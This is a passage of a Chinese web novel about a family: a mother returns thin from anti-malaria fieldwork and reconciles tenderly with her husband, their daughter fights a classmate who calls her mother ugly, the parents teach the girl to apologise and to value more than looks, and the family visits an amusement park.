“好好,是妈妈乱说,是妈妈不好,我们谷雨是最好的小朋友,当然不会嫌弃妈妈了。”舒英笑了笑,将她脸上最后一滴泪也给抹去。 李固言沉默着在旁边拎着她的行李,看向她的眼神里都是心疼,舒英趁谷雨没注意,悄悄从他棉袄下方伸进去,在他腰间捏了下,小声哄着:“好了,别难受了,我这次回来短时间不会再过去了,趁着这段时间给我好好补补就补回来了。” “最好是这样。”李固言还有些生气,觉得她一点也不守信用,当初说的不让他们担心,结果这一回来露了馅了吧? 他生气的时候板着脸,抿着唇不说话,浑身散发着一股生人勿近的气息,舒英笑起来,上出租车的时候没让他上前面,拉着他坐在后排,自己坐在父女俩中间。 她坐上车后看了看他,唇角轻轻勾了勾也不说话,眼珠子转了转,闭上眼靠着他的肩膀。 李固言看了她一眼,腰软下来,怕太高她枕着不舒服,将肩膀往下低了低,又怕车子晃动她会睡得不安稳,伸手从她后背揽着她,将她搂进怀里护着。 谷雨探头看了看,轻声问:“妈妈睡着啦?” 李固言嗯声,食指竖起放在嘴边,示意她不要再说话,会把妈妈吵醒,谷雨连忙捂住自己的嘴巴,然后拽着妈妈的衣角轻轻靠在妈妈身上。 舒英一开始是装睡,故意靠在他身上的,后面因为实在太舒服,没忍住真的睡了过去,等再睁开眼的时候,人已经躺在家里卧室的大床上了,鼻息间都是熟悉的味道,温馨又舒适,她微微睁眼看了看,窗外的天已经黑了,也不知道现在几点了。 突然,房门被缓缓推开,舒英连忙又闭上眼睛,就听沉稳的脚步声走到了床边,这声音一听就是李固言的。 “别装了。” 舒英睁开眼笑起来:“你怎么知道我是装睡?” 李固言哼了一声,“我就是知道,你以前哪次装睡我不知道?” 他说的以前就是他们刚结婚两年的那段时间,舒英挑眉看着他,李固言也有些不好意思,坐在床边,说:“饭快做好了,姐和固萱知道你回来了,都要过来看你,我说你今天刚下火车,还有点累,让她们明天再来。”他是故意没提前告诉她们她今天回来的,要不然她们肯定要一起去接她,他才不乐意。 舒英笑了笑,往前坐了坐,伸手搂上他脖子,媚声问:“想我了吗?”知道他还气着呢,她可不得哄着点儿。 李固言不吭声,但耳尖却是慢慢变红。 舒英也不在意他说不说话,她心里知道就行,她右手从他脖子上滑下来,从胸膛往下摸,抓住一样东西按了按,李固言闷哼一声,抓住她的手制止,微喘道:“谷雨还在外面。” “我知道啊。”舒英就是故意的,她抬头将唇凑上去在他下巴处厮磨,偶尔碰到他的唇肉,但就是不主动亲上去。 两人都两个月没碰过了,都有些想,李固言眼神深邃地盯着她,眼底有些意味不明,舒英扬唇笑了笑,用鼻尖在他鼻子上蹭了蹭。 李固言也忍不住了,伸手搂住她,狠狠压在她唇上,用力攫取着她口中涎液,良久后,两人分开,带出一根银丝,他伸手在她唇角上摸了摸,舒英忍不住一阵战栗。 这时,门外传来动静,是谷雨,两人连忙分开,谷雨进来狐疑地看了他俩一眼,随后脱掉鞋爬上床窝进妈妈怀里:“妈妈,吃饭了。” “好。”舒英轻咳了声答应,看了眼对面的李固言,他耳朵已经红透了,见状她忍不住笑出声,被男人瞪了一眼。 第74章 第 74 章 是谷雨小朋友的家长吗?…… 吃完饭后, 舒英搂着谷雨给她讲故事,她声线温柔:“牛郎将织女的衣服藏起来,织女没有衣服就法术不能回到天庭, 于是嫁给了牛郎……” 谷雨闭上的眼睛睁开, 看向她不解地问:“妈妈,为什么牛郎把织女的衣服藏起来后,织女还会嫁给牛郎?” 牛郎织女的故事舒英挺多很多回, 但还是第一次思考这个问题,她想了想问:“那谷雨觉得织女会怎么做?” “把牛郎打一顿,然后把衣服抢回来。”谷雨毫不犹豫地道,“我们班的男生抢女生的发卡时, 我们都是要抢回来的,才不会嫁给他们呢?” 她举得这个例子生动有趣,舒英跟躺在旁边的李固言对视一眼,都从对方眼中看出笑意。 舒英放下书搂着谷雨在她身上拍了拍, 笑着篡改故事重新道:“好, 那织女没了衣服,没了法力后, 捡起路上的棍子就把牛郎打了一顿, 打得鼻青眼肿的,随后将衣服抢了回来,飞回了天上。 牛郎被打了一顿后怀恨在心,剥了家里老黄牛的皮想要到天上去报仇, 但是织女有了衣服就恢复了法力,牛郎怎么可能回是她的对手呢?” “对,牛郎才不是仙女的对手。”谷雨捧哏。 舒英笑:“于是,牛郎又被打了一顿, 老黄牛的皮都被打破了,等他一站进去,瞬间就从万丈高空掉回了地面,失去性命,再也没有办法去藏织女的衣服了。” 谷雨听完满意地点头,点评道:“这样才对,妈妈,我喜欢这样的织女。” 舒英抱着她若有所思,在她身上轻轻地拍着哄着,谷雨打了个哈欠,在妈妈怀里找了个舒服的位置,闻着妈妈身上让人安心的味道,终于沉沉睡去。 等她睡着后,李固言抬头看,用气声问:“睡着了?” “嗯。”舒英点头,她看着谷雨的睡脸,说,“现在的孩子跟我们那时候真的不一样了,我们那时候听牛郎织女的时候,哪里会想到这些?还是现在的孩子会思考,也敢于质问。” 谷雨睡得平静,李固言用手背在她脸上摸了下,软软嫩嫩的,“一代人有一代人的进步,我们那时候跟他们现在不一样,肚子都吃不饱呢,哪还会想这些,而且那时候家长脾气也大,问了也是讨骂。” 舒英笑,抱着谷雨爱不够似的用下巴蹭了下,谷雨不舒服的“嘤咛”了声,她才赶忙松开,跟李固言说起在本南县发生的事情:“经济基础决定上层建筑,这句话是真不假,你敢信吗,那边的村民还有很多人到现在看病都是找巫婆这种,根本不相信我们。” 李固言侧身面朝她,将手枕在头下,“没受过教育,不知道科学。” “是。”舒英叹口气。 忽然,舒英想到一件事,促狭地问:“你不生气了?” 李固言一顿,也不吭声,默默背对着她。 舒英看着他的背影,咧着嘴无声地笑,拱起身避开谷雨去扒他的肩头,故意去看他的表情。 见他闭着眼, 问:“你睡了?” 李固言动都没动,也不出声。 “你真睡了?”舒英哼一声,伸手向下,指腹在他腰腹处流连。 李固言猛然睁眼,捉住那只作乱的手。 “不是睡了吗?”舒英故作惊讶。 李固言无奈地看她一眼,嘴硬道:“又醒了,不行吗?” “行行行。”舒英脸上的笑逐渐加深,起身下床,在他的注视下从床尾绕到他那边又上去,这边位置小,她几乎整个人都缩在他怀里。 她笑了笑,被子下的腿动了动,缠上他的,两条纤细的手臂也攀上他的脖子。 李固言眸色加深,饿狼一般的眼睛紧紧盯着她不放。 舒英凑上去在他唇边碰了碰,问:“还气吗?” 李固言不说话,舒英懂了,嘴角弯起,又凑上去在他唇上印了印,随后往下,在他脖颈处流连。 李固言下意识仰头,青筋有些用力地凸起,舒英笑了,用牙尖在上面轻轻磨了下,李固言没控制住闷哼出生。 舒英又问:“还气吗?” 李固言伸手抱上她,还是没有说话。 舒英半嗔半怨地叹了口气道:“好吧,那谁让我食言了呢?你生气也是正常,只是我都这么努力了,你还生气,我也不知道该怎么办了。” 她话音刚落,李固言就道:“你知道。” 两人距离极尽,近到能感受到对方喘息时的呼气,舒英笑了,说:“我不知道。”鼓起嘴蹙起眉,一副可怜相,但眼底的热烈却暴露了她。 李固言伸手挑起她下巴,拇指在她唇上压揉着,唇肉柔软温热,从指腹传来的酥痒,让他头皮都跟着发麻,他狠狠吻上去摩挲,在气息交换的间隙软了声音:“不要欺负我……” 舒英半眯着眼,积极回应着,听到这句话后不由扬唇轻笑,等这个吻结束后才说:“我可没欺负你,我不是惹了你生气,在求你原谅我吗?” 李固言自知辩不过她,也就不再说话,只是可怜巴巴地索吻。 孩子还在床上睡觉,舒英轻喘说:“去浴室。” “嗯。”李固言下床,将有些腿软的妻子牢牢地抱起来,抱进了黑暗与欲望交杂的无人浴室重。 …… 舒英沉沉地睡了一夜,浑身舒爽,是她这两个多月以来睡得最舒适的一次,没有扰人的“嗡嗡”声,也不用担心会被蚊虫咬。 李固言带着谷雨吃完早饭后,要送她去上学了,这段时间因为谷雨情绪不佳,所以都是他送他接的,也就这样养成了习惯。 出门前,谷雨道:“爸爸,我去看看妈妈醒没醒。” “好。” 谷雨穿着拖鞋小心地拧开门把手,先打开一个门缝,随后探身进去,轻手轻脚地走到床边,看着妈妈的睡脸,开心地在她轻轻亲了一下。 舒英睡梦中觉得脸上有点痒,她轻轻睁开眼,就看见一个朦胧的小身影,她笑了笑,嗓音有些沙哑:“谷雨,你已经起床了?” 谷雨学着大人哄孩子的语气道:“妈妈,我要去幼儿园了,你在家乖乖的噢,我晚上就回来了。” 舒英没忍住笑,伸手揽住她抱了抱:“好,妈妈在家乖乖的,你在幼儿园也乖乖的。” “嗯!” “妈妈晚上去接你好不好?”舒英笑起来,看着她问。 “好。”谷雨眼睛亮起来,有些兴奋,又在她脸上“吧唧”了一口。 “这么开心呀?” “特别特别开心!”谷雨强调。 “好,特别特别开心。”舒英拍了下她的屁股看了眼依着门框站着的李固言,笑道,“去吧,跟爸爸上学去吧。” “好。” 等一大一小的两人出门后,舒英在床上伸了个懒腰,也掀开被子起来。 今天不用去学校,回来的时候章教授就说他们这段时间辛苦了,所以给放了三天假,连着周末,能有四天,下周一再去学校。 她洗漱好后,赵姐已经把给她留好的饭菜端了上来。 舒英看着热乎乎的八宝粥,有些流油的豆腐包,还有炒的嫩滑的牛肉,迫不及待地端起碗喝了口粥,咬了口包子,又吃了口肉,十分满足开心地说:“赵姐,这段时间吃不到你做的早饭,真是馋死我了。” 赵姐笑:“那你多吃点,我这几天给你换着花样多做几样,让你都吃个遍。” “好。”舒英又喝了口粥,放了冰糖的粥甜滋滋的,热乎乎的暖着身子。 等她早饭吃得差不多后,入户门被推开,舒英看过去,就见李固言从门外进来,她有些诧异地问:“你今天不用去厂里?” “不用。”李固言摇头,“我今天在家陪你。” 舒英笑起来打趣说:“那多不好意思。” 李固言有些无语地换上拖鞋,走到她旁边,突然伸手捏着她的脸轻轻往两边扯:“你现在说话怎么怪声怪气的?” 舒英拍掉他的手,揉揉脸说:“脸上肉给我扯松了。” 又道:“我哪里怪声怪气了,你可不要冤枉我。” 李固言瞥她一眼:“嗯,是我冤枉你。” 舒英明亮的眼睛看着他,笑盈盈的牵着他的手问:“你打算怎么陪我?” 李固言反问:“你想我怎么陪你?” 舒英余光看了眼客厅,没人,赵姐现在在房间,她笑起来,用手指勾了勾他的皮带道:“你说呢?” 李固言眼神陡然加深,定定地看了她一眼说:“你确定?” 舒英故意逗他的,她还不至于这么急色,要白日宣/淫,她轻咳了声正色道:“姐和固萱说晚上过来吃饭,你待会儿陪我去菜市场看看,去买点菜回来,下午你再陪我去商场转转,我有点想吃之前那家的蝴蝶酥了。” “行吧。”李固言点头。 舒英挑眉:“行——吧?怎么,你很不想陪我吗?” 李固言斜睨她一眼:“我倒也没这么想,只是心里难免有个落差感。” 舒英没好气地白他一眼:“够了啊,再说下去,晚上你可别想碰我。” “那不行。”男人理直气也壮,“是你先挑的头,可不能怪我。” 舒英鼻腔里长舒一口气,起身回房间换衣服,这人真是越发的没脸没皮了。 见她回屋,李固言忙跟上去,反手将门关上。 舒英瞥他一眼道:“我换衣服,你进来干嘛?” “我进来看看我老婆。”李固言凑上去,故意问,“你知道我老婆去哪了吗?” 舒英好笑地撇了下嘴,配合地问:“你老婆长什么样啊?是高是矮是胖是瘦啊?” 李固言沉思了一瞬答:“我老婆又高又瘦,晒得皮肤黑黑的,手掌糙糙的,头发还有些干枯……” 他说到这,舒英没忍住瞪了他一眼,就听男人盯着她继续道:“不过她长得特别好看,一双眼睛又大又亮,眼珠子会说话似的,看她一眼就移不开神。而且她又聪明又善良,还特别的坚韧。又黑又瘦皮肤也特别粗糙一副营养不良的样子,就是因为去了很偏远很贫穷的地方,去那里帮助当地居民想要解决疟疾,总共就去了两个月零十二天,也不知道她到底是怎么把自己搞成这个样子的,我第一眼看到的时候又生气又心疼,觉得她一点也不爱护自己。” 舒英听到这忍不住有些脸红,又有些心虚。 “不过我也能理解她,她是个很好很好的人,责任心很重,到了那边肯定一天都没有歇息,饭没有好好吃,觉也没有好好睡,脑子里时时刻刻想的都是疟疾的事。” 男人越说,脸上的表情越动容,说到最后没忍住红了眼眶。 舒英赶忙抱住他,柔声哄着:“我看到你老婆了,你老婆就在你面前站着呢,不要伤心了,我这不是好好的回来了吗?” 李固言闷声问:“你下次再去能不能真的好好照顾自己?”疟疾还没有解决,他知道,就算她还没说,明年她肯定还要跟着团队一起过去的,他不能阻止她,只希望她不要再像这次回来时这样,瘦得让人心疼,手腕捏一捏,感觉就剩一把骨头了,整个人都轻飘飘的,他抱着她都不敢用力,生怕一个用力,就把她捏碎了。 “我答应你,我下床次肯定好好照顾我自己,你就放心吧。”舒英知道自己的话不可信,竖起手指作发誓状,“我保证!” “我不要你保证。”李固言将她的握下来,“你只要时刻记着,家里还有两个人一直担心着你,每日惴惴不安睡不着觉,只盼着你在那边能健健康康。” 舒英蹙着眉,感动得想哭,扑进他怀里撒娇道:“怎么办,我越来越爱你了。” “没关系,因为我也很爱你。”李固言抱着她亲了亲。 两人在房间里着实腻歪了一会儿,舒英换好衣服后,两人从房间里出来,偶尔笑着对视 一眼,看着黏黏乎乎,更加如胶似漆。 上午两人去菜市场买了菜,中午在家吃了饭,浅浅睡了会儿午觉后,两人又去了附近的商场买了舒英好久没吃的蝴蝶酥,买完后就去谷雨的幼儿园接她放学。 谷雨知道今天放学妈妈会来接她,在学校里一整天都乐滋滋的,像个小复读机似的到处跟同学们说今天是妈妈来接。 “是你那个神仙下凡的妈妈吗?” “当然了!”谷雨很是骄傲地挺起胸膛。 “哇!”小朋友们瞬间化身青蛙,都围着她道,“那放学后我们可以去看看吗?” “当然可以!我妈妈可好看了,是天底下最好看最好看的妈妈!”小小的谷雨非常自豪,到处吹嘘,竟真的成功勾起大家的好奇心,想要亲眼看看天底下最好看的妈妈长什么样。 其实他们中有些人很早就见过谷雨妈妈了,而且不止一次,只是在如此自信的谷雨面前,一时间谁也没想起来。 谷雨很是仔细地嘱咐他们:“等放了学,我妈妈肯定会第一个来接我的,你们就能看到我妈妈了。” “好!”幼儿园的小孩对第一个被接走很有执念,但此时因为好奇她的妈妈,竟然都没有争抢这个,甚至还想着如果自己的家长第一个来,他一定要再等一会儿! 小孩子密谋的大事,大人们还一无所知,舒英拎着手里的小蛋糕笑说:“等谷雨出来,看到这个应该很高兴吧?” “肯定,她就喜欢吃这些甜的。”李固言点头。 放学铃响,教学楼里的孩子们按照班级顺序一个一个出来,先是小班,再是中班。 舒英踮脚望着,找到了谷雨的班级,接着又锁定谷雨。 谷雨也看到了妈妈,兴奋地像一早商量好的同学们挤眼睛,同学们接收到信息,都郑重地点点头,旁边跟着的老师摸不着头脑地看了眼他们,不知道他们再打什么小九九。 “妈妈!”舒英从老师手里牵过蹦蹦跳跳很是兴奋的谷雨。 谷雨牵着妈妈的手回头看了一眼同学们,眼中的与有荣焉尽显,一时没有注意到同学们眼里的失望。 要是去本南县前的舒英还能说长得很漂亮很漂亮,但问题是现在站在他们面前的是辛苦了两个多月的舒英,长相上跟神仙实在是够不上边。 谷雨没发现,她一心沉浸在见到妈妈的喜悦中,连跟老师同学们挥手再见都忘记了。 回去的路上,舒英问:“发生了什么事?怎么这么高兴?” 谷雨摇头晃脑,一手牵着爸爸,一手牵着妈妈,脸上的笑容放也放不下去:“就是高兴。”等她明天到学校,大家肯定都很羡慕她,因为她妈妈又厉害又漂亮! “好,高兴就好。”见她不说,舒英也就不再追问,只是笑着牵着她往家走。 晚上。 舒秀珍和李固萱都齐聚在舒英家,两个人看见舒英都很惊讶,忙追问:“你在那边是不是不给饭吃啊?怎么瘦了这么多?” 舒英好笑摇头,看了眼李固言冲她俩眼神示意:“咱不说这个了行吗?”她怕再说下去,他要更生气了。 舒秀珍看了她一眼:“……行,不说!瘦死你得了!” 她也就是话说的狠,吃饭的时候一个劲儿地给舒英夹菜,不停地催着她吃:“多吃点,可别抠得想节省这点儿粮食。” 舒英一口饭差点没呛出来:“姐!” “好了好了,我不说了。”舒秀珍又给她夹了一筷子鸡腿肉。 吃完饭后,舒英拿了两袋东西出来说:“这个你们待会儿回去时带着,这是我从本南县带回来的当地特产,一些当地的蜂蜜和还有那边的笋,味道很不错,你们回去尝尝。” 舒秀珍接过袋子又忍不住道:“这么多吃的,你怎么还能瘦成这副鬼样子?” 舒英噎住,就要从她手里把袋子抢回来:“你要是不吃就还给我。” “我什么时候说我不吃了?你这人真小气,送出去的东西还想着拿回去。”舒秀珍翻了个白眼,将袋子递给贝贝抱着,看她有没有这个脸好意思从外甥女手里抢。 舒英不搭理她,弯腰问贝贝:“要不要喝蜂蜜水?小姨去给你泡一杯好不好?” “好。”贝贝乖巧点头。 舒秀珍道:“也给我泡一杯。” 舒英瞥她一眼,挑了挑眉:“要喝自己泡,我都瘦成这样了,你还好意思使唤我呢?” 舒秀珍一愣,反应过来后横她一眼,妥协说:“行,我自己泡,不劳烦您。” …… 将人送走后,舒英带着谷雨刷牙洗脸,泡脚洗屁股,接着带她上床哄她睡觉。 谷雨今晚格外兴奋,她满脑子都想着明天到学校同学们都围上来跟她说她妈妈有多么多么漂亮,简直跟神仙一模一样。 就这样沉沉睡去,第二天早上都没用爸爸叫,自己就醒了,乖乖地起床穿衣服,吃早饭的时候还催着爸爸赶紧吃,赶紧吃完赶紧送她去幼儿园,她已经迫不及待了。 李固言狐疑地看她一眼,搞不懂她肚子里卖的什么瓜,以前也没见她这么积极地去学校,尤其是现在天气越来越冷,她是越来越难起,每次都是刚把她叫起来,一眨眼,她就又钻进被窝里去了。 但孩子不说,他也就不问,左不过就是昨天跟小伙伴约好了,要到幼儿园玩什么,所以她今天才会格外期待。 他加快速度,将碗里的粥一口气喝完,随便嚼了两下就咽下去,看着她面前的饭问道:“你吃饱了吗?再吃个鸡蛋吧?赵阿姨做的这个茶叶蛋特别入味。”她今天喝了一小碗粥,又吃了一根油条,比起平时有些少。 “吃饱了,我吃饱了爸爸。”谷雨急得不行,背着自己的小书包就要上前去拉他。 李固言见她不想吃,也就不再说,站起身拿了钥匙换上鞋后就带着谷雨出去。 早晨的空气格外凉,不过两个人喝了热粥,都暖烘烘的,李固言干燥温暖的大手牵着谷雨热乎乎的小手,快步往前走。 倒不是他想快,而是闺女几乎可以算是在小跑,也不知道到底是什么事情,这么急切,这下他本来没什么想法的,都有些好奇了。 等他把孩子送到学校,回到家后,还没等他好奇心放下去呢,就接到了幼儿园的电话。 “是谷雨小朋友的家长吗?她在学校跟同学打架,可以麻烦您现在过来一趟吗?” 舒英和李固言听到这句话,惊诧的互相看着对方。 第75章 第 75 章 漂亮并不是一件值得追捧…… 今天天气好, 谷雨兴高采烈地踏进幼儿园的大门,差点儿都忘了跟爸爸说再见。 她一进班级,立马就有小朋友围上来道:“你是不是换妈妈了?你现在的妈妈一点都不好看, 你以前的妈妈还挺好看的。” 谷雨呆住, 脸上还没来得及收起来的笑容僵在脸上。 又有一个有些胖胖的小男孩凑上来说:“谷雨你撒谎,你妈妈一点也不好看,没有我妈妈好看。” 谷雨听完有些气急败坏:“我没有邀请你看我妈妈, 你是偷偷看的,你是小偷,你是坏孩子。” “你才是坏孩子!我 不是,我没有撒谎!“小胖也很生气, 大声争辩。 “你才是,你才是,我妈妈就是最漂亮的!”谷雨的眼神掠过周围的所有小朋友,他们眼神闪躲, 没有一个人认同她。 小胖见状, 伸手扯着脸扮鬼脸,吐着舌头“略略略”, 很是得意地说:“大家都觉得我说的没错, 所以你才是坏孩子,而且你妈妈也不漂亮,你妈妈黑乎乎的,一点儿也不好看。” 谷雨盯着他胸口大幅度起伏, 鼻子里喷出热气,拳头逐渐攥紧,咬着牙扑了上去。 “嗷——”一声惨叫在班级里响起。 场面瞬间混乱起来,小朋友们“吱哇乱叫”, 大喊着:“老师快来!谷雨跟小胖打起来了!” 徐老师在走廊上听见声音惊慌失措,连忙小跑起来,她就出去上了个厕所,就这么一下会儿时间,班里就有小朋友打起来了? 她一进班,就看到谷雨压着小胖打,谷雨学拳她是知道的,小胖在她面前毫无还手之力。 她生气地将两个看着有些潦草的小家伙分开,带着去了办公室,从抽屉里翻出电话本,给俩人的家长各自打去了电话。 舒英和李固言一接到电话就赶忙往幼儿园跑,徐老师在电话里没说清楚,他们只知道谷雨跟同学打架,但不知道谁先动的手,也不知道谷雨有没有受伤。 李固言皱着眉,有些焦急:“我早上送她的时候看她还挺高兴的,比平时都高兴得多,这到底是怎么回事,怎么就打起来了?谷雨以前可从来没有跟同学打过架,她不会吃亏吧?” “吃亏应该不会,她学了这么久的拳术,总能派上点用场,要是还吃亏,我看她这个拳术就可以换一家了。”舒英摇头,也是一脸的担心,“我现在想的是谁先动的手,谷雨这么乖,从来不调皮捣蛋,肯定不是她先动的手。” “是谷雨先动的手。”徐老师将从孩子们七嘴八舌的话里拼凑出的真相告诉他们,“两个小朋友因为争谁的妈妈最漂亮这件事而发生矛盾,最后谷雨先扑上去打的小胖。” 舒英和李固言顺着老师的话去看叫小胖的男孩,已经哭得泣不成声,从他身上凌乱的一副和头发就能看出来“战况激烈”,他们又将视线移到旁边的谷雨身上,谷雨眼眶泛红,已经蓄起了泪,只是还没有流下来,她有些倔强地撇着头,看都不看他们一眼。 这时,小胖的妈妈也过来了,一进门看见自己的儿子就挑眉笑道:“呦!被打的这么严重噢,你这大体格子真是没派上一点用场啊!” “行了,这哭得一把鼻涕一把泪的。”她走过去,从包里拿出手帕给他擦了擦,又拉着他上下看了看,“妈妈看这也没怎么受伤嘛,也没破,也没流血的。” 舒英窘着脸过去,十分愧疚地说:“真是对不起,我们谷雨不太懂事,您看我们带孩子去医院检查一下吧?医药费我们出。” 小胖妈妈笑了笑,“没事,小孩子闹矛盾嘛,都常有的事,我看这也不严重,不用去医院。” 舒英越发愧疚,走过去将谷雨拉过来说:“向小胖道歉!”人家不计较是人家大度,他们不能不懂事,起码的道歉还是要有的。 谷雨的眼泪瞬间顺着脸颊流淌下来,梗着脖子不肯说话。 舒英看着她皱眉,“你先打的人,你还觉得自己委屈了?” 谷雨的眼泪流淌的越发汹涌,很是委屈地哽咽道:“是小、小胖先、说的,他说,说妈妈一、一点都不漂亮,还说、说我是坏、孩子,说、我撒谎。” “那这也不是你打人的理由。”舒英有些尴尬,又教训道。 小胖妈妈笑起来,轻轻戳了戳小胖,问:“你真这么说的?” 小胖扭扭捏捏地点头,又补充说:“谷雨也说了,她也说我是坏孩子了。” “你嘴巴这么坏,难怪人家要打你。”小胖妈妈道。 李固言拉了谷雨一把,蹲下来看着她沉着脸说:“向小胖小朋友说对不起。” 谷雨哭得有些抽噎,看了爸爸一眼又看了妈妈一眼,终于忍不住放声大哭,边哭边道:“对、不起。”说完伸手要去牵妈妈。 她哭得这么伤心,舒英和李固言看着也不好受,但说到底是她做错了事,绝不能纵容。 孩子打架的事情处理完后,谷雨还哭得停不下来,舒英和李固言干脆给她请了一天假,带她回了家。 谷雨直哭了一路,两个人谁也没哄,任由她哭,到家后,舒英给她用温水洗了把脸,问:“要喝水吗?” 谷雨哭一路,其实也早就苦累了,扁着嘴点点头道:“要。” 李固言给倒了杯温水过来递给她。 等她喝完水,情绪也平静下来后,舒英把她抱起来,抱在怀里拍了拍背,才开始跟她讲道理:“谷雨,你觉得动手打人是对的吗?” 谷雨不说话,其实她心里也意识到不对了,只是她不想承认自己做错了事。 舒英坐到沙发上,将她放在自己腿上坐着,看着她的脸继续道:“妈妈送你去学拳,是希望你能保护自己,而不是希望你主动去打同学的。” “可是,是小胖先说我的,是他说了我后我才动手的。” 舒英笑了笑:“他怎么说你的?说你撒谎,说你的妈妈不漂亮?” 谷雨看着她,迟疑地点点头后又道:“我妈妈最漂亮,我才没有撒谎,他说的不对,还说我是坏孩子。” 舒英这下不知道是该笑还是不该笑,她哭笑不得地摇摇头看向李固言,李固言脸上也挂着笑,小孩真的是小孩,这么一点点小事就能闹成这样子。 “每个小朋友都觉得自己妈妈是最漂亮的,所以你觉得妈妈最漂亮,妈妈很开心。”舒英说完,谷雨脸上终于又有了点笑模样。 舒英又道:“但是,你觉得你的妈妈最漂亮,别人也可以觉得你的妈妈不漂亮,也许别人说的话你不认同,但他们说的也不一定就是错的,你可以跟他争辩,也可以不搭理他。但如果他没有骂你,没有打你,没有欺负你,你就不应该主动动手,因为打架是一件很严重的事情,不管是打赢还是打输,都很难避免受伤,你觉得你受伤了,爸爸妈妈会不伤心吗?” 谷雨摇摇头,不安地绞了绞手指,低声道:“妈妈,我知道错了。” 李固言也说:“你现在还小,有什么事情都可以告诉爸爸妈妈,爸爸妈妈会教你怎么解决。你知道今天我和妈妈接到老师打过来的电话,说你在学校跟同学打架,我跟你妈妈急得不行,生怕你被同学欺负,生怕你受伤。” 谷雨抬头看着爸爸嗫嚅道:“爸爸,对不起。” 李固言浅笑着将她脸上的眼泪擦掉:“爸爸妈妈不需要你说对不起,只要你能认识到自己的错误就行。” 舒英接腔说:“谷雨,其实漂亮并不是一件值得追捧的事情,我们可以欣赏漂亮,但不应该只看到漂亮,比漂亮更重要的是能力、是智慧、是善良,我们应该夸赞这种,而不是攀比谁更漂亮。难道妈妈不漂亮了,你就不喜欢了吗?” 谷雨立马反驳:“才不是,就算妈妈不漂亮,我也最爱妈妈……”说完眨巴眨巴眼看向旁边的爸爸补充说,“也最爱爸爸。” 李固言笑起来,伸手捏了捏她的脸颊肉,“爸爸也最爱你和妈妈。” 舒英也笑:“是啊,就算不漂亮,你也最爱妈妈,可见漂亮并不是必须有的,对吗?” 谷雨点头:“嗯。” 舒英搂了搂她说:“好的,现在我们已经意识到了错误,那下周去学校应该怎么办?” “去跟小胖道歉。”谷雨声音又变小,还是有些不好意思。 舒英笑了笑:“对,要去跟小胖道歉,妈妈今天看了,你把他打的很严重,衣服都给他撕烂了,所以要很真诚地给他道歉,而且就算他不原谅你也没关系,因为 道歉并不是一定会被原谅。” “妈妈,我明白了。”谷雨脸上的郁气消失不见,又抱着爸爸妈妈腻歪起来。 舒英想了想说:“你下周上学的时候邀请班里的小朋友周六来家里玩吧,妈妈给你们烤饼干和面包吃。”发生今天这件事,她有心想帮她跟班里的小伙伴重新打好关系。 “好耶!”谷雨兴奋地答应下来。 舒英见她高兴,不介意让她再高兴一点,道:“明天爸爸妈妈带你去游乐园玩,我们去坐旋转木马。” 这是她跟李固言本来就商量好的,只是还没跟她说就发生了今天这件事。她是想着这段时间自己一直没陪在她身边,正好明天带她出去玩玩,让她开心开心。 第二天天气晴朗,太阳暖洋洋的,舒英给谷雨穿得不算多,一件秋衣,一件白色带小兔花样的毛衣,最后又套了一件浅粉色的小薄袄。 衣服穿好后,又给梳了俩小辫,戴上粉白色的花边头花。 随后舒英道:“好了,你去楼上看看贝贝有没有起来,要是没起来就把她叫起来,让黄阿姨给她穿好衣服,带下来我也给她梳小辫。”俩孩子平时都是一块儿玩,去游乐园这种地方肯定得俩人一块儿带上,舒秀珍今天要出去,还特意把车留在了家里,让李固言开。 李固言还在机械厂的时候就学过开车。 “好。”谷雨脆生生答应,一溜烟跑到楼上去。 没过一会儿,就把穿戴整齐的贝贝领了下来,贝贝看着舒英亲昵道:“小姨。” “快过来,小姨给你编辫子。”舒英冲她招了招手,喊到镜子前面来。 小孩子的头发长得好,又软又滑,舒英熟练地给她扎了个和谷雨一样的花苞头,拿过贝贝挑的浅紫色头花戴上。 打扮好后,她领着俩孩子吃早饭,李固言已经吃过了,正在准备今天要带的东西,手帕、手纸、水杯、零食,今天太阳可能会有些晒,还要给她俩带两顶小帽子。 等一切准备就绪,三人早饭也吃完后就换鞋出发。 今天去游乐园避免不了要多走,舒英没同意谷雨穿那双黑色小皮鞋,让她穿了双运动鞋,谷雨虽然不乐意,但也知道妈妈说的是对的,还是老老实实换掉。 游乐园离这边有些距离,开车要半个多小时才能到,两个小孩系着安全带坐在后排,都兴奋得紧,跟春游似的互相分享着零食,一路上,小嘴就没停下来过,舒英回头看了几次,见她俩吃的开心,也就没有阻止,反正那些零食带出来也是为了给她们吃的。 他们去的这个游乐园比较偏向于儿童向,场地也算不上多大,很多设施都很适合孩子们玩,只有零星个别的设施比较刺激,孩子们不能玩。 今天周六,带孩子过来玩的人不少,进门检票的时候可排了不短的队。 两个小家伙正在兴头上,叽叽喳喳地聊天,时不时踮起脚探头往里面看,倒也不嫌排队的时间煎熬。 顺利进到游乐园里面后,李固言看着地图带着几人到了旋转木马那,旋转木马正在运行,他们排起队等着下一批上去。 旋转木马玩完后,舒英和李固言又带着她俩去玩了各种滑梯和飞椅,几个项目玩下来,俩孩子也都有点累了。 舒英把她俩的水杯递过去:“喝点水,那边有卖零食的,你俩要不要吃?” “要!”谷雨眼睛一亮,连忙道。 舒英笑了下问:“走,过去看看吃什么。” 这边吃的也挺多,糖葫芦、棉花糖、爆米花,还有糖画。 贝贝要吃爆米花,舒英买了一份,摊主用报纸包成锥形盛满递给她。 谷雨的眼睛黏在另一个摊子的糖画上移不开,拽了拽妈妈的衣角说:“妈妈,我想要这个孙悟空。” “好。”今天是出来玩的,舒英基本是有求必应,给谷雨买完糖画,又问贝贝要不要,贝贝有些纠结地站在摊子前,迟迟选不定要哪一个。 谷雨提议说:“你要那个蝴蝶的吧,那个蝴蝶的也好看。” “那就这个吧。”贝贝听了她的建议,伸手指向那只翩翩欲飞的蝴蝶。 买完了吃的,谷雨眼珠子滴溜溜转,嗓音甜腻腻地说:“妈妈,你觉得那个橘子汽水好喝吗?” 舒英看着橘子汽水好笑地笑起来,这么小的小人也会耍心眼儿了,她故意道:“我觉得不太好喝。” 谷雨见自己目的没有达成有些傻眼,不甘心地又说:“妈妈,你都没有尝过怎么知道不好喝呢?” 舒英瞥她一眼,眉尾跳了跳,说:“谁跟你说过我没有尝过?” 这时,李固言拎着包过来问:“买好了吗?” 舒英笑,小声跟他咬耳朵:“你闺女想喝汽水还不直说,问我觉得好不好喝呢。” 李固言听完看着闺女差点儿没憋红的小脸也有些忍俊不禁,笑道:“要喝橘子汽水吗?” 谷雨这下也不敢拿乔了,慌忙点头,还替贝贝说:“贝贝也喝。” 